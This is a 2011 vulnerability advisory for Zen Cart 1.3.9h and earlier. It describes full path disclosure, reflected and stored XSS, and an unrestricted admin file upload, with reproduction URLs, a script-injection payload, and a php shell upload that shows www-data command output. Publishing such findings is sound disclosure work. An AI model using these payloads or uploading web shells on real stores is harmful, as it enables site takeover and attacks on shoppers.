Zen Cart <= v.1.3.9h [ Multiple Vulnerabilities ]

[+] [SOFTWARE] :: Zen Cart

[+] [SOFTWARE SITE] :: www.zen-cart.com

[+] [VERSION] :: 1.3.9f, 1.3.9h (but possible all versions)

[+] [DATE] :: 18 May 2011 - (0day from 28 Sep 2010)

[+] [AUTHOR] :: Alberto Fontanella (Fulgur Security)

 

[ 1 ] - [ Full Path Disclosure ]

An error occurs when an attacker points a single page. This leads to discover the full path of web server and vhost directory.

http://[host]/includes/languages/english.php

...etc

Output: Fatal error: Call to undefined function zen_href_link() in /var/www/includes/languages/english.php on line 16  

[ 2 ] - [ Reflected XSS ]

This Issue has *not* been found into last tested version (1.3.9h) but into all others versions. The "Quantity" field of Store Product don't sanitizes user input before to show output back to user. This leads an attacker to inject and execute arbitrary javascript and/or html code.

http://[host]/index.php?main_page=shopping_cart

(OR) Your Shopping Cart Contents => Qty: "><script>alert("XSS")</script>

Click on "Change your Quantity" refresh button.  

[ 3 ] - [ Stored XSS ]

You have to be logged as Admin. The "Zones Name & Code" fields of Locations/Taxes don't sanitizes user input before to store it into database and to show output back to user. This leads an attacker to inject and execute arbitrary javascript and/or html code.

http://[host]/[admin]/zones.php?page=1&action=new

(OR) Locations/Taxes => Zones Zones Name: "><script>alert("XSS")</script>

Zones Code: "><script>alert("XSS")</script>

So, you inject evil code that can not be deleted. (">) destroy the page structure so the Admin have to work directly on database (phpmyadmin, etc.) to restore it and delete evil code. ...etc, others Stored XSS are presents on admin console.  

[ 4 ] - [ Arbitrary File Upload ]

Banner Manager don't check the extension/type of image to upload. This leads an attacker that have administrative privileges to upload arbitrary files on server (ie. backdoors, php shells, etc.)

http://[host]/[admin]/banner_manager.php?action=new

(OR) Tools => Banner Manager => New Banner => Image: phpShell.php

The uploaded file will be located into:

http://[host]/images/phpShell.php
uid=33(www-data) gid=33(www-data) groups=33(www-data)  

[ EOF ]